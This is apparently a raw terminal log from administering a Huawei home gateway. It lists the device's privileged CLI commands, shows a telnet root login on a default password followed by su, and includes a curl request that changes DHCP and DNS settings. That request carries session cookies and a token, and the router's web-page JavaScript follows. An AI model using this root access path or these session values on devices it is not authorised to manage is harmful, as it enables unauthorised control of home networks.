display debug info dhcp6s

display debug info pppoev6

display debug info ra

display debuglog info

display debugwifilog info

display device-cert info

display deviceInfo

display dhcp client

display dhcp client all

display dhcp client6

display dhcp client6 all

display dhcp server pool

display dhcp server pool all

display dhcp server pool option

display dhcp server static

display dhcp server user

display dhcp server user all

display dhcp_em result

display diagnose info

display dns proxy info

display dnsserver static domain

display dpst

display dpst all

display dsp channel para

display dsp channel running status

display dsp channel status

display dsp chip stat

display dsp codec status

display dsp interrupt stat

display dynamic route

display eaiinfo

display edge_ont info

display epon ont info

display femPar info

display femPar version

display ffwd table

display file

display filter rf

display firewall rule

display flashlock status

display flow

display ftp config status

display if

display igmp

display igmp config

display inner version

display ip interface

display ip neigh

display ip route

display ip6tables filter

display iptables filter

display iptables mangle

display iptables nat

display iptables raw

display jb grid status

display jb para

display lan mac filter

display lanmac

display lanport workmode

display last call log

display lastword

display log info

display mac ap

display mac ap brief

display macaddress

display macaddress timer

display machineItem

display memory detail

display memory info

display microwave ctrl info

display msg-queue

display nat port mapping

display NCE info

display nff log

display oaml2shell ethvlan

display onu info

display optic

display optmode

display ploam-password

display policy route all

display pon statistics

display poncnt dnstatistic

display poncnt gemport upstatistic

display poncnt upstatistic

display port statistics

display portstatistics

display ppp interface

display pppoe client

display pppoe client all

display pppoe_em result

display productmac

display progress load

display rf config

display rfpi

display rootcert info

display rtp stack channel stat

display rtp stack chip stat

display rtp stack para

display rtp stack version

display sfwd drop statistics

display sfwd port statistics

display sn

display specsn

display ssh authentication-type

display ssh-hostkey fingerprint

display startcode version

display startup info

display swm bootstate

display swm state

display sysinfo

display syslog

display system info

display timeout

display timer

display tr069 info

display version

display voicelinetest

display voip dsp jbdata

display voip dsp para diagnose state

display voip dsp para diagnose statistics

display voip dsp tonedetect

display voip dtmfdiag state

display voip dtmfsimpara

display voip info

display voip rightflag

display voip ring info

display voip rtpdiag

display voip tone info

display wan layer all

display waninfo

display waninfo all

display waninfo all detail

display wanmac

display wifi ap

display wifi associate

display wifi calibrate mode

display wifi filter

display wifi information

display wifi multicast

display wifi neighbor

display wifi pa type

display wifi radio

display wifi smartant status

display wifichip

display wlan config

display wlan staevent

display wlan stainfo

display wlanmac

display zsp version

dnsserver add static

dnsserver delete static

firewall log

flush dhcp server pool

flush dnsserver cache

get ap retrans

get battery alarm policy

get battery alarm status

get ip conntrack

get mac agingtime

get ont oamfrequency

get opm switch

get optic debug info

get optic par info

get optic phy type

get optic txmode

get poncnt upgemport

get port config

get port isolate

get rogue status

get testself

get wifi atm

get wifi para

get wlan advance

get wlan associated

get wlan basic

get wlan enable

get wlan isolate

get wlan stats

get wlan wps

ifconfig

igmp add mirror filter

igmp clear statistics

igmp del mirror filter

igmp disable

igmp enable

igmp get debug switch

igmp get flow info

igmp get global cfg

igmp get iptv

igmp get mirror filter ip

igmp get multilmac

igmp get port multicast config

igmp get statistics

igmp set debug switch

igmp set iptv

ip -6 neigh

ip -6 route

ip -6 rule

ip interface config

ip neigh

ip neigh add

ip neigh delete

ip neigh flush

ip route

ip route show

ip rule

jvmcmd map histo

jvmcmd stack trace

jvmcmd stat

lan mac filter add

lan mac filter delete

lan mac filter disable

lan mac filter enable

lan mac filter flush

load fem par

load pack

load ssh-pubkey

logout

macaddress

make ssh hostkey

mid get

mid off

mid set

napt cli

netstat -na

nslookup

oam show eventlog

oamcmd clear log

oamcmd debug

oamcmd error log

oamcmd pdt show log

oamcmd show flow

oamcmd show log

omcicmd alarm show

omcicmd clear log

omcicmd debug

omcicmd error log

omcicmd mib show

omcicmd pdt show log

omcicmd pm show

omcicmd show flow

omcicmd show log

omcicmd show qos

osgicmd debug

osgicmd get debug

osgicmd plugin permission

osgicmd set debug

osgicmd show bundleresource

osgicmd show bundlestate

ping

plugcmd show state

plugcmd start

plugcmd stop

plugcmd uninstall

plugincmd debug

ppp interface config

pppoe client attach

pppoe client detach

qoscfg get

quit

reset

restore backup

restore manufactory

route get default

route get static

save data

save log

session cli

set ap retrans

set apssh

set aptelnet

set cwmp debug

set ethportmirror

set flashlock

set iaccess speed

set led

set microwave ctrl

set nce

set newparentalctrl

set newparentalctrl stats

set opticdata

set port isolate

set portmirror

set ringchk

set ssid

set timeout

set userpasswd

set voice announcement

set voice dtmfmethod

set voicedebug

set voicedsploop

set voicelinetest

set voiceportloop

set voicesignalingprint

set voip clip

set voip dsptemplate

set voip dtmfdebug

set voip dtmfdetfilter

set voip dtmfdiag start

set voip dtmfdiag stop

set voip dtmfsimpara

set voip dtmfsimu start

set voip dtmfsimu stop

set voip fax T38

set voip faxmodem switch

set voip highpassfilter

set voip portgain

set voip rtpdiag

set voip sipprofile

set wifi ap optimize

set wifi atm

set wifi expert

set wifi filter

set wifi para

set wifi radio

set wlan basic

set wlan enable

set wlan isolate

set wlan staboost

sfwd port statistics

shell

show diagnose

ssh authentication-type

ssh remote

start diagnose

stats clear

stats display

stop diagnose

su

telnet remote

test apdev

test tr069 inform end

test tr069 inform start

traceroute

trafficdump

udm clear log

udm show log

undo debugging dsp diagnose

undo debugging dsp para diagnose

undo debugging dsp record

undo debugging dsp t38diag

undo firewall log

voice net diagnose start

voice remote diagnose server set

voice remote diagnose set

vspa clear rtp statistics

vspa debug

vspa display conference info

vspa display digitmap info

vspa display dsp running info

vspa display dsp state

vspa display dsp template info

vspa display mg if state

vspa display mg info

vspa display online user info

vspa display port status

vspa display profilebody info

vspa display rtp statistics

vspa display service log

vspa display signal scene info

vspa display signal scene list

vspa display user call state

vspa display user status

vspa reset

vspa shutdown mg

wap list

wap ps

wap top

wifi smartant set

SU_WAP>ip rule ?

ip rule

SU_WAP>ip rule

0:   from all lookup local

0:   from all fwmark 0x202001 lookup 200

32690: from 192.168.1.9 lookup 100

32700: from all fwmark 0x1 lookup lan1

32700: from all fwmark 0x2 lookup lan1

32700: from all fwmark 0x3 lookup lan1

32700: from all fwmark 0x84 lookup lan1

32700: from all fwmark 0x80 lookup lan1

32766: from all lookup main

32767: from all lookup default


success!

SU_WAP>ip Connection closed by foreign host.

panxf@LPT028958:~/code$ dhcp server ?

Command 'dhcp' not found, did you mean:

 command 'chcp' from deb nilfs-tools (2.2.9-1)

 command 'hcp' from deb lam4-dev (7.1.4-7)

 command 'dccp' from deb dcap (2.47.14-1)

 command 'dhcpd' from deb isc-dhcp-server (4.4.3-P1-4ubuntu1)

 command 'dhcpd' from deb isc-dhcp-server-ldap (4.4.3-P1-4ubuntu1)

 command 'dhcpx' from deb irpas (0.10-9)

 command 'dicp' from deb dish (1.19.1-1.1)

Try: sudo apt install <deb name>

panxf@LPT028958:~/code$ telnet 192.168.1.9

Trying 192.168.1.9...

Connected to 192.168.1.9.

Escape character is '^]'.


Welcome Visiting Huawei Home Gateway

Copyright by Huawei Technologies Co., Ltd.


Login:root

Password:

Password is default value, please modify it!

WAP>

Last login: User:root IP:192.168.1.20 Time:2025-09-20 11:34:26


WAP>su

success!

SU_WAP>dhcp server ?

dhcp server pool config

dhcp server pool disable

dhcp server pool enable

dhcp server pool lease config

dhcp server pool option add

dhcp server pool option del

dhcp server pool option flush

dhcp server pool restart

SU_WAP>dhcp server poll

ERROR::Command is not existed


SU_WAP>dhcp server poll

ERROR::Command is not existed


SU_WAP>dhcp server config ?

SU_WAP>dhcp server config

ERROR::Command is not existed


SU_WAP>dhcp server poll

ERROR::Command is not existed


SU_WAP>dhcp server pool config

ERROR::Invalid parameters


SU_WAP>dhcp server pool config ?

dhcp server pool config index index [gateway ip] [netmask netmask] [start start_ip] [end end_ip] [dns dns_ip]

SU_WAP>Connection closed by foreign host.

panxf@LPT028958:~/code$ curl 'https://192.168.1.9:80/html/bbsp/landhcp/set.cgi?x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1&z=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2&e=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2&c=InternetGatewayDevice.X_HW_DHCPSLVSERVER&d=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement&RequestFile=html/bbsp/landhcp/landhcp_ap.asp' \

 -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' \

 -H 'Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6,pt;q=0.5' \

 -H 'Cache-Control: max-age=0' \

 -H 'Connection: keep-alive' \

 -H 'Content-Type: application/x-www-form-urlencoded' \

 -b '_SSID=j29TCpQ88qlHBbwFrS2wQpQieO2m8seup4C0NHCrK10; stay_login=0; did=4pbUaxuw2deEArepivorH73pTB-z0PMooE2fF3DhrMw6nDVxK0m1kbh_9OW4PXdFMMj21unCk_PHhH4ZQabwrw; _CrPoSt=cHJvdG9jb2w9aHR0cHM6OyBwb3J0PTUwMDE7IHBhdGhuYW1lPS87; io=32WLgEWmGDGVsZ8kAAA-; Cookie=sid=8e9166abaf14803527c44f51fe61d1fe61a22227c5df0e4df8bf48040ba7fa21:Language:chinese:id=1' \

 -H 'Origin: https://192.168.1.9:80' \

 -H 'Referer: https://192.168.1.9:80/html/bbsp/landhcp/landhcp_ap.asp' \

 -H 'Sec-Fetch-Dest: iframe' \

 -H 'Sec-Fetch-Mode: navigate' \

 -H 'Sec-Fetch-Site: same-origin' \

 -H 'Sec-Fetch-User: ?1' \

 -H 'Upgrade-Insecure-Requests: 1' \

 -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0' \

 -H 'sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Microsoft Edge";v="140"' \

 -H 'sec-ch-ua-mobile: ?0' \

 -H 'sec-ch-ua-platform: "Windows"' \

 --data-raw 'x.IPInterfaceIPAddress=192.168.2.1&x.IPInterfaceSubnetMask=255.255.255.0&z.Enable=1&z.IPInterfaceIPAddress=192.168.2.1&z.IPInterfaceSubnetMask=255.255.255.0&c.DHCPEnable=0&d.DHCPServerEnable=1&d.X_HW_DHCPL2RelayEnable=1&d.X_HW_Option125Enable=1&d.X_HW_DNSList=192.168.2.137&d.MinAddress=192.168.2.2&d.MaxAddress=192.168.2.254&d.DHCPLeaseTime=5184000&x.X_HW_Token=658868061fa922aa21d29ce4dac536a90ef9971d3f712627' \

 --insecure

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<meta http-equiv="Pragma" content="no-cache" />

<meta http-equiv="X-UA-Compatible" content="IE=edge;chrome=1"><!-IE7 mode->

<script src="/resource/common/jquery.min.js?20211119004443262869193943" type="text/javascript"></script>

<script language="JavaScript" src="../../../resource/common/util.js?20211119004443262869193943"></script>

<script language="JavaScript" src="../../../resource/chinese/ssmpdes.js?20211119004443262869193943"></script>

<script language="JavaScript" src='../../../Cusjs/InitFormCus.js?20211119004443262869193943'></script>

<script language="JavaScript" src="../../../resource/common/InitForm.asp?20211119004443262869193943"></script>

<link rel="stylesheet" href='../../../resource/common/style.css?20211119004443262869193943' type='text/css'>

<link rel="stylesheet" href='../../../Cuscss/chinese/frame.css?20211119004443262869193943' type='text/css'>

<script language="JavaScript" src="../../../resource/chinese/ampdes.html?20211119004443262869193943"></script>

<script language="JavaScript" src="../../../resource/chinese/bbspdes.html?20211119004443262869193943"></script>

<script language="javascript" src="../common/managemode.asp"></script>

<script language="javascript" src="../common/dhcpinfo.asp"></script>

<script language="JavaScript" type="text/javascript">

var selctIndex = -1;

var AddFlag = true;

var ipaddrarg = "";

var macaddrarg = "";

var dnsMainSec = "";

var dnsMainPri = "";

var TableName = "DhcpStaticConfigList";

var SingtelMode = '0';

var ProductType = '1';

var RosMode = '0';

var CfgModeWord = 'DESKSHCTAP'.toUpperCase();


var MainDhcpRange1 = new Array(new dhcpmainst1("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement","1","192\x2e168\x2e2\x2e2","192\x2e168\x2e2\x2e254","5184000","1","","","","","","","","","","","192\x2e168\x2e2\x2e137","1","192\x2e168\x2e2\x2e137","0"),null);

var dhcpmain = MainDhcpRange1[0];

var MainDhcpPara = new Array(new dhcpmainst("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement","1","1500","192\x2e168\x2e2\x2e137"),null);


function dhcpmainst(domain, DHCPServerEnable, X_HW_MTU, X_HW_DNSList)

{

  this.domain = domain;

  this.X_HW_MTU = X_HW_MTU;

  this.DHCPServerEnable = DHCPServerEnable;

  this.X_HW_DNSList = X_HW_DNSList;

}


function dnsMain()

{

  dnsMainList = MainDhcpPara[0].X_HW_DNSList.split(",");

  dnsMainPri = dnsMainList[0];

  if (dnsMainList.length == 2)

  {

    dnsMainSec = dnsMainList[1];

  }

  if (MainDhcpPara[0].DHCPServerEnable)

  {

    document.getElementById("dnsMainPri").value = dnsMainPri;

    document.getElementById("dnsMainSec").value = dnsMainSec;

  }

}


function dhcpmainst1(domain,enable,startip,endip,leasetime,l2relayenable,HGWstartip,HGWendip,STBstartip,STBendip,Camerastartip,Cameraendip,Computerstartip,Computerendip,Phonestartip,Phoneendip,MainDNS,X_HW_Option125Enable,DNSServers,OptionEnable)

{

  this.domain   = domain;

  this.enable    = enable;

  this.startip  = startip;

  this.endip    = endip;

  this.leasetime = leasetime;

  this.l2relayenable = l2relayenable;

  this.HGWstartip = HGWstartip;

  this.HGWendtip = HGWendip;

  this.STBstartip = STBstartip;

  this.STBendtip = STBendip;

  this.Camerastartip = Camerastartip;

  this.Cameraendtip = Cameraendip;

  this.Computerstartip = Computerstartip;

  this.Computerendtip = Computerendip;

  this.Phonestartip = Phonestartip;

  this.Phoneendtip = Phoneendip;

  MainDNS = (MainDNS == "")?DNSServers:MainDNS;

  if(MainDNS == "")

  {

    this.MainPriDNS  = "";

    this.MainSecDNS = "";

  }

  else

  {

    var MainDnss   = MainDNS.split(',');

    this.MainPriDNS  = MainDnss[0];

    this.MainSecDNS = MainDnss[1];

    if (MainDnss.length <=1)

    {

      this.MainSecDNS = "";

    }

  }

  this.X_HW_Option125Enable = X_HW_Option125Enable;

  this.OptionEnable = OptionEnable;

}


if( window.location.href.indexOf("?") > 0)

{

  ipaddrarg = window.location.href.split("?")[1];

  macaddrarg = window.location.href.split("?")[2];

}


function stDhcp(domain,Enable,ipAddress,macAddress)

{

  this.domain = domain;

  this.Enable = Enable;

  this.ipAddress = ipAddress;

  this.macAddress = macAddress;

}


function loadlanguage()

{

  var all = document.getElementsByTagName("td");

  for (var i = 0; i <all.length ; i++)

  {

    var b = all[i];

    if(b.getAttribute("BindText") == null)

    {

      continue;

    }

    setObjNoEncodeInnerHtmlValue(b, dhcpstatic_language[b.getAttribute("BindText")]);

  }

}


var Dhcps = new Array(null);



var Dhcp = new Array();

for (var i = 0; i < Dhcps.length-1; i++)

{

  Dhcp[i] = Dhcps[i];

}


function setLease(dhcpLease)

{

  var i = 0;

  var timeUnits = 604800;

  var infinite = ((dhcpLease == "-1") || (dhcpLease == "4294967295"));


  for(i = 0; i < 4; i++)

  {

    if (i == 0 )

    {

      timeUnits = 604800;

    }

    else if (i == 1)

    {

      timeUnits = 86400;

    }

    else if (i == 2)

    {

      timeUnits = 3600;

    }

    else

    {

      timeUnits = 60;

    }


    if ( true == isInteger(dhcpLease / timeUnits) )

    {

      break;

    }

  }


  setSelect('maindhcpLeasedTimeFrag', timeUnits);

  if(infinite)

  {

    setText('MainLeasedTime', dhcp2_language['bbsp_infinitetime']);

  }

  else

  {

    setText('MainLeasedTime', dhcpLease /timeUnits);

  }

}


function LanHostIpselectRemoveCnt()

{


}


function LoadFrame()

{

  setText('routeIP',LanHostInfo.ipaddr);

  setText('ethSubnetMask',LanHostInfo.subnetmask);

  var routeIPRange = document.getElementById("routeIPRange");

  var routeIP = $("#routeIP").val();

  var str = routeIP.slice(0,routeIP.lastIndexOf("."));

  routeIPRange.innerHTML = str + ".";


  if(MainDhcpRange1[0].enable == 1)

  {

    $("#dhcpSrvType").attr("DHCPServerFlag","1");

    $("#dhcpSrvType").css("background-image","url(../../../images/equls-right.gif)");

  }

  else

  {

    $("#dhcpSrvType").attr("DHCPServerFlag","0");

    $("#dhcpSrvType").css("background-image","url(../../../images/equls-left.jpg)");


  }

  changedisable();


  var MainDhcpRange_startip = MainDhcpRange1[0].startip;

  var MainDhcpRange_endip = MainDhcpRange1[0].endip;

  setText('mainstartipaddr', MainDhcpRange_startip.slice(MainDhcpRange_startip.lastIndexOf(".")+1));

  setText('mainendipaddr', MainDhcpRange_endip.slice(MainDhcpRange_endip.lastIndexOf(".")+1));

  setLease(dhcpmain.leasetime);

  if (Dhcp.length > 0)

  {

    selectLine(TableName + '_record_0');

    setDisplay('TableConfigInfo',1);

  }

  else

  {

    selectLine('record_no');

    setDisplay('TableConfigInfo',0);

  }


  if ((isValidIpAddress(ipaddrarg) == true)

      && (isValidMacAddress(macaddrarg) == true))

  {

    clickAdd(TableName + '_head');

    setText('ipAddr', ipaddrarg);

    setText('macAddr', macaddrarg);

  }

  if (CfgModeWord == 'SCCTAP')

  {

    document.getElementById("DNSServerPri").style.display = "table-row";

    document.getElementById("DNSServerSec").style.display = "table-row";

    dnsMain();

  }


  loadlanguage();

}


function AddSubmitParam()

{

  if (false == CheckForm())

  {

    return;

  }

  var DhcpStaticSpecCfgParaList = new Array(new stSpecParaArray("x.Yiaddr",getValue('ipAddr'), 1),

                   new stSpecParaArray("x.Chaddr",getValue('macAddr'), 1));

  var url = '';

  if( selctIndex == -1 )

  {

     DhcpStaticSpecCfgParaList.push(new stSpecParaArray("x.Enable","1", 1));

     url = 'add.cgi?'+'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPStaticAddress'

              + '&RequestFile=html/bbsp/landhcp/landhcp_ap.asp';

  }

  else

  {

    url = 'set.cgi?x=' + Dhcp[selctIndex].domain

              + '&RequestFile=html/bbsp/landhcp/landhcp_ap.asp';

  }


  var Parameter = {};

  Parameter.asynflag = null;

  Parameter.FormLiList = DhcpStaticConfigFormList;

  Parameter.SpecParaPair = DhcpStaticSpecCfgParaList;

  var tokenvalue = getValue('onttoken');

  HWSetAction(null, url, Parameter, tokenvalue);

  setDisable('btnApply_ex',1);

  setDisable('cancel',1);

}


function setCtlDisplay(record)

{

  if (record == null)

  {

    setText('ipAddr','');

    setText('macAddr','');

  }

  else

  {

    setText('ipAddr',record.ipAddress);

    setText('macAddr',record.macAddress);

  }

}


function DeleteLineRow()

{

  var tableRow = getElementById(TableName);

  if (tableRow.rows.length > 2)

  tableRow.deleteRow(tableRow.rows.length-1);

  return false;

}


var g_Index = -1;

function setControl(index)

{

  var record;

  selctIndex = index;


  if (index == -1)

  {

    if(Dhcp.length >= 16)

    {

      DeleteLineRow();

      setDisplay('TableConfigInfo', 0);

      AlertEx(dhcpstatic_language['bbsp_num']);

      return;

    }

    record = null;

    AddFlag = true;

    setDisplay('TableConfigInfo', 1);

    setCtlDisplay(record);

  }

  else if (index == -2)

  {

    setDisplay('TableConfigInfo', 0);

  }

  else

  {

    record = Dhcp[index];

    AddFlag = false;

    setDisplay('TableConfigInfo', 1);

    setCtlDisplay(record);

  }


  g_Index = index;

  setDisable('btnApply_ex',0);

  setDisable('cancel',0);

}


function DhcpStaticConfigListselectRemoveCnt(val)

{


}


function OnDeleteButtonClick(TableID)

{

  if (Dhcp.length == 0)

  {

    AlertEx(dhcpstatic_language['bbsp_removealert1']);

    return;

  }


  if (selctIndex == -1)

  {

    AlertEx(dhcpstatic_language['bbsp_removealert2']);

    return;

  }

  var CheckBoxList = document.getElementsByName(TableName+'rml');

  var Form = new webSubmitForm();

  var Count = 0;

  for (var i = 0; i < CheckBoxList.length; i++)

  {

    if (CheckBoxList[i].checked != true)

    {

      continue;

    }


    Count++;

    Form.addParameter(CheckBoxList[i].value,'');

  }

  if (Count <= 0)

  {

    AlertEx(dhcpstatic_language['bbsp_removealert3']);

    return;

  }

  if (ConfirmEx(dhcpstatic_language['bbsp_removealert4']) == false)

  {

    document.getElementById("DeleteButton").disabled = false;

    return;

  }

  setDisable('DeleteButton',1);

  setDisable('btnApply_ex',1);

  setDisable('cancel',1);

  Form.addParameter('x.X_HW_Token', getValue('onttoken'));

  Form.setAction('del.cgi?' +'x=InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPStaticAddress' + '&RequestFile=html/bbsp/landhcp/landhcp_ap.asp');

  Form.submit();

}


function PS_CheckReserveIP(Operation, Ip, MAC)

{

  var conflict = false;

  if (ProductType == '2')

  {

    $.ajax({

      type : "POST",

      async : false,

      cache : false,

      data : "act=" + Operation+ "&ip=" + Ip + "&mac=" + MAC,

      url  : "pdtipconflictcheck",

      success : function(data) {

        conflict = true;

      },

      error : function(XMLHttpRequest, textStatus, errorThrown) {

        conflict = false;

      },

      complete: function (XHR, TS) {

        XHR = null;

     }

    });

  }

  else

  {

    $.ajax({

      type : "POST",

      async : false,

      cache : false,

      data : "act=" + Operation+ "&ip=" + Ip + "&mac=" + MAC +"&x.X_HW_Token="+getValue('onttoken'),

      url  : "pdtipconflictcheck",

      success : function(data) {

        conflict = true;

      },

      error : function(XMLHttpRequest, textStatus, errorThrown) {

        conflict = false;

      },

      complete: function (XHR, TS) {

        XHR = null;

     }

    });

  }

  return conflict;

}



function CheckForm()

{

  var IpAddress;

  var MacAddress;

  var right = 0;


  IpAddress = getValue('ipAddr');

  MacAddress = getValue('macAddr');

  if (ProductType == '2')

  {

    if (MacAddress == "")

    {

      msg = dhcpstatic_language['bbsp_macnull'];

      AlertEx(msg);

      return false;

    }


    if(isValidMacAddress(MacAddress) == false)

    {

      AlertEx(dhcpstatic_language['bbsp_mac']+ MacAddress + dhcpstatic_language['bbsp_invalid']);

      return false;

    }


    if (IpAddress == "")

    {

      msg = dhcpstatic_language['bbsp_ipnull'];

      AlertEx(msg);

      return false;

    }


    if((isAbcIpAddress(IpAddress) == false) || (isDeIpAddress(IpAddress) == true)

      || (isBroadcastIpAddress(IpAddress) == true) || (isLoopIpAddress(IpAddress) == true) )

    {

      AlertEx(dhcpstatic_language['bbsp_ipinvalid1']+ IpAddress + dhcpstatic_language['bbsp_invalid']);

      return false;

    }


    for (var i = 0; i < Dhcp.length; i++)

    {

      if (selctIndex != i)

      {

        if (Dhcp[i].macAddress.toUpperCase() == MacAddress.toUpperCase())

        {

          AlertEx(dhcpstatic_language['bbsp_macused']);

          return false;

        }


        if (Dhcp[i].ipAddress == IpAddress)

        {

          AlertEx(dhcpstatic_language['bbsp_isused']);

          return false;

        }

      }

      else

      {

        continue;

      }

    }

  }


  if(("1" == "0")

    && (true == PS_CheckReserveIP("checkDhcp", IpAddress, MacAddress)))

  {

    AlertEx(dhcpstatic_language['bbsp_ipconflict']);

    return false;

  }


    return true;

}


function Cancel()

{

  setDisplay("TableConfigInfo", 0);


  if (AddFlag == true)

  {

    var tableRow = getElement(TableName);


    if (tableRow.rows.length == 1)

    {

      selectLine('record_no');

    }

    else if (tableRow.rows.length == 2)

    {

    }

    else

    {

      tableRow.deleteRow(tableRow.rows.length-1);

      selectLine(TableName + '_record_0');

    }

  }

  else

  {

    setText('ipAddr',Dhcp[selctIndex].ipAddress);

    setText('macAddr',Dhcp[selctIndex].macAddress);

  }

  setDisable('btnApply_ex',0);

  setDisable('cancel',0);

}

</script>

<script language="JavaScript" type="text/javascript">

var slaveIpAddress = "192.168.2.1";

var slaveSubnetMask = "255.255.255.0";

var curUserType='0';

var sysUserType='0';

var norightslavepool='0';

var conditionpoolfeature ='0';

var SonetHN8055QFlag = '0';

var SingtelMode = '0';

var RosMode = '0';

var LanAddrSplitFlag = '0';

var gstwfpoolfeature ='0';

var gstuseallslvpool ='0';

var LanMultiIpfeature = '0';

var IsAPFlagfeature = '1';

var TableName = "LanHostIp";

var ProductType = '1';

if('1' == gstwfpoolfeature)

{

  conditionpoolfeature = '0';

}


var specIPoEMTUMax = '1500';

var LoginRequestLanguage = 'chinese';


var ClassAIpSupportFlag='0';

var TDEMode = '0';

var IsTELECOMFlag = '0';

var IsNETLIFElag = '0';

var IsSupportBridgeWan = '0';

var selctIndex = -1;

var SlaveDhcpInfos = new Array(new SlaveDhcpInfo("InternetGatewayDevice.X_HW_DHCPSLVSERVER","0"),null);

var PolicyRouteListAll = new Array(new PolicyRouteItem("InternetGatewayDevice.Layer3Forwarding.X_HW_policy_route.1","SourcePhyPort","","wan1\x2e1\x2eip1"),null);

var LanHostInfos = new Array(new stLanHostInfo("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0","1"),new stLanHostInfo("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0","1"),null);

var LanHostInfo2 = new Array(new stLanHostInfo("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0","1"),null);

var LanHostInfo = LanHostInfos[0];

var LanIpInfos = new Array(new stipaddr("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.1","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0"),new stipaddr("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.IPInterface.2","1","192\x2e168\x2e2\x2e1","255\x2e255\x2e255\x2e0"),null);

LanHostInfos.pop();

var LanHostInfoValue = new Array();

var ConditionDhcpInfos = new Array(null);

if (ConditionDhcpInfos[1] == null)

{

  ConditionDhcpInfos[1] = new condhcpst("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement.DHCPConditionalServingPool.2", "", "", "", "");

}

var MainDhcpRange = new Array(new madhcpst("InternetGatewayDevice.LANDevice.1.LANHostConfigManagement","192\x2e168\x2e2\x2e2","192\x2e168\x2e2\x2e254","192\x2e168\x2e2\x2e1"),null);


var PolicyRouteNum = 0;

var PolicyRouteListAll = new Array(new PolicyRouteItem("InternetGatewayDevice.Layer3Forwarding.X_HW_policy_route.1","SourcePhyPort","","wan1\x2e1\x2eip1"),null);

for (i = 0; i < PolicyRouteListAll.length && PolicyRouteListAll[i]; i++)

{

  if(PolicyRouteListAll[i].Type.toUpperCase() == "SourceIP".toUpperCase())

  {

    PolicyRouteNum ++;

  }

}


var SlaveIpAddr = "";

var SlaveIpMask = "";

if (LanHostInfos[1] != null)

{

  SlaveEnable = LanHostInfos[1].enable;

  SlaveIpAddr = LanHostInfos[1].ipaddr;

  SlaveIpMask = LanHostInfos[1].subnetmask;

}

else if(LanHostInfos[1] == null && LanHostInfo2[0] != null && '1' == conditionpoolfeature)

{

  SlaveEnable = LanHostInfo2[0].enable;

  SlaveIpAddr = LanHostInfo2[0].ipaddr;

  SlaveIpMask = LanHostInfo2[0].subnetmask;

}


for (var i = 0; i < LanHostInfos.length; i++)

{

  var spstr = LanHostInfos[i].domain.split(".");

  if (spstr[spstr.length-1] > 2)

  {

    LanHostInfoValue.push(LanHostInfos[i]);

  }

}


function routeIPChange(sId)

{

  if(CheckForm11(0) == true)

  {

    var routeIPRange = document.getElementById("routeIPRange");

    var routeIP = $("#"+sId).val();

    var str = routeIP.slice(0,routeIP.lastIndexOf("."));

    routeIPRange.innerHTML = str + ".";

  }

}


function GetDnsMStr()

{

  var DnsMStr = getValue('dnsMainPri') + ',' + getValue('dnsMainSec');

  if (getValue('dnsMainPri') == "")

  {

    DnsMStr = getValue('dnsMainSec');

  }

  if (getValue('dnsMainSec') == "")

  {

    DnsMStr = getValue('dnsMainPri');

  }

  return DnsMStr;

}

function RouteIPSubmit(type)

{

  var result = true;

  var Reboot = (GetPolicyRouteListLength(PolicyRouteListAll, "SourceIP") > 0 && getValue('routeIP') != LanHostInfos[0].ipaddr) ? dhcp_language['bbsp_resetont']:"";

  if(CheckForm1(type) == true)

  {

    if(CheckForm2(type) == false)

    {

      return false;

    }

    if (((getValue('routeIP') != LanHostInfos[0].ipaddr) && (GetCurrentLoginIP() == LanHostInfos[0].ipaddr))

    ||(slaveIpAddress != SlaveIpAddr) && (GetCurrentLoginIP() == SlaveIpAddr))

    {

      result = ConfirmEx(dhcp_language['bbsp_dhcpconfirmnote']+Reboot);

    } else if (GetDnsMStr() != MainDhcpPara[0].X_HW_DNSList)

    {

      result = ConfirmEx(lanDHCP_language['lan_dhcp011_dns']);

    }


    if(result == true)

    {

      var Form = new webSubmitForm();

      AddSubmitParam1(Form,type);

      Form.addParameter('x.X_HW_Token',getValue('onttoken'));

      Form.submit();

    }

  }

}


function PolicyRouteItem(_Domain, _Type, _VenderClassId, _WanName)

{

  this.Domain = _Domain;

  this.Type = _Type;

  this.VenderClassId = _VenderClassId;

  this.WanName = _WanName;

}


function stipaddr(domain,enable,ipaddr,subnetmask)

{

  this.domain    = domain;

  this.enable    = enable;

  this.ipaddr    = ipaddr;

  this.subnetmask  = subnetmask;

}


function stLanHostInfo(domain,enable,ipaddr,subnetmask,AddressConflictDetectionEnable)

{

  this.domain = domain;

  this.enable = enable;

  this.ipaddr = ipaddr;

  this.subnetmask = subnetmask;

  this.AddressConflictDetectionEnable = AddressConflictDetectionEnable;

}


function PolicyRouteItem(_Domain, _Type, _VenderClassId, _WanName)

{

  this.Domain = _Domain;

  this.Type = _Type;

  this.VenderClassId = _VenderClassId;

  this.WanName = _WanName;

}


function SlaveDhcpInfo(domain, enable)

{

  this.domain  = domain;

  this.enable  = enable;

}


